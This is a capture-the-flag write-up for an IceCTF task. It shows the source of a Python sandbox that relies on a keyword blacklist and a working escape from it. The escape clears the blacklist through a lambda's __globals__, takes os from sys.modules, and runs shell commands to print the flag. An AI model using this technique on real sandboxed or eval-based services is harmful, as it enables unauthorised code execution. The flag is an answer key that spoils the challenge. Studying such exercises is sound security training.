icectf

Category: exploitation - Points: 100

Description: Daniel is running this server which allows you to evaluate basic python expressions. It’s clear that he’s tried to secure it though. Can you see if you can get it to print the flag? You can access it by running nc vuln2015.icec.tf 8000 .

Hint: Even if some keywords are banned, is that gonna stop you?

The task comes with the file shell.py which is the source code of the webservice available at the specified location. The source is the following:

#!/usr/bin/env python

from __future__ import print_function
import sys

print("Welcome to my Python sandbox! Enter commands below! Please don't mess up my server though :/")
sys.stdout.flush()

banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "input",
    "banned",
    "sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]

while 1:
    print(">>>", end=' ')
    sys.stdout.flush()
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else:
        exec data

So we are provided with a shell and the user input is checked not to contain one of the banned words before being passed to the exec function which dynamically execute the code.

In order to increase the shell security, every element but print and raw_input is removed from the __builtins__ dictionary which contains the common functions.

Background

This reminds us the CSAW2014 problem pybabbies and its solutions can be adapted to this task. There are a few write-ups for that task, but we can groups them in two categories:

  • obtain a reference to the file function and guess the filename for the flag;
  • obtain a reference to the os module in order to use the os.system function and be able to issue commands to the underlying system.

The second way is more interesting, but even if the methods used to gain the reference to the os module are really interesting, they are quite complicated such as this and this. Most of them are based on linecache, contained in warnings.catch_warnings, which contains a reference to os united with some techniques explained in this amazing Ned Batchelder’s post.

Another solution

We found a more straightforward solution for this task. Since in this case the sys module is already loaded, we can use sys.modules to get the references of all the loaded modules (including os).

The problem here is that sys is a banned word. We want to clear the banned variable, without being able to use its name. It would be great if there was a dictionary containing all the globals so that we can compose the name of the variable with string operations like 'ban' + 'ned' and evade the blacklist.

The dictionary that contains the global variables can be accessed with the function globals(), but unfortunately we don’t have access to that variable since the built-ins were cleared.

We can access the same dictionary defining a function object (for example using a lambda) and accessing its __globals__ variable. This way we will be able to set the banned variable to an empty list, disabling the blacklist:

>>> (lambda: 1).__globals__['ban' + 'ned'] = []

Now we don’t have a blacklist anymore, so we can easily get a reference to os:

>>> os = sys.modules['os']

Now we can list the files in the directory and print the flag:

>>> os.system('ls')
flag.txt
problem
problem.py
>>> os.system('cat ./flag.txt')
The flag is: not_your_average_python

So the flag is not_your_average_python.